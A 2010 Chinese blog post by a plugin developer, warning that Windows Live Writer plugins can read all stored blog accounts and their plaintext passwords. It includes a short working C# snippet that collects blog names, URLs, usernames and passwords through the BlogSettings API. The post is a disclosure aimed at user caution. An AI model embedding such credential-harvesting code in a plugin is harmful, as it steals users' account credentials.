小心Windows Live Writer插件偷走你的博客密码
时间:2010-09-14 来源:Windie Chai
Windows Live Writer是颇受欢迎的博客客户端,除了支持多种博客服务之外,还具备良好的扩展性,允许第三方开发插件来扩展或补充功能,我也为它开发了两个插件:用来补充Slug的SlugHelper和补充图片Exif信息的ExifInfo。
但你有没有想过,虽然这些第三方插件的确为我们提供了方便,但它们真的值得信赖吗?
最近搬家,没有网络,闲暇时便用“.NET Reflector”来查看Windows Live Writer的内部实现,期望能找到对我开发插件有帮助的API,没想到却发现了令人大吃一惊的东西,Windows Live Writer插件可以轻而易举地窃取你的博客账号和密码!
想知道是怎么做到的吗?只需要随便开发一个插件,添加对“WindowsLive.Writer.BlogClient.dll”的引用和以下的using:
using WindowsLive.Writer.BlogClient;
在适当的位置添加以下代码:
StringBuilder sb = new StringBuilder(); string[] blogIds = BlogSettings.GetBlogIds(); foreach (string blogId in blogIds) { BlogSettings blogSetting = BlogSettings.ForBlogId(blogId); sb.AppendLine("blogname: " + blogSetting.BlogName); sb.AppendLine("homepage: " + blogSetting.HomepageUrl); sb.AppendLine("username: " + blogSetting.Credentials.Username); sb.AppendLine("password: " + blogSetting.Credentials.Password); sb.AppendLine("==============================================="); }
执行后查看sb.ToString(),你会看到你添加到Windows Live Writer里的所有博客信息,包括博客名称、主页地址、用户名和密码,可怕之处就在于密码是明文的。
如果插件的作者心怀不轨,他完全可以利用这些内容来控制你的博客。所以在使用第三方插件之前,最好能够确定该插件是值得信赖的。
另外,开源的插件也是个不错的选择,你可以检查插件的代码中是否包含泄露隐私的内容,并自行编译使用。
我开发的SlugHelper和ExifInfo两个插件都是开源项目,欢迎使用。
PS:以上代码在版本号为15.4.3001.809的Windows Live Writer中测试成功。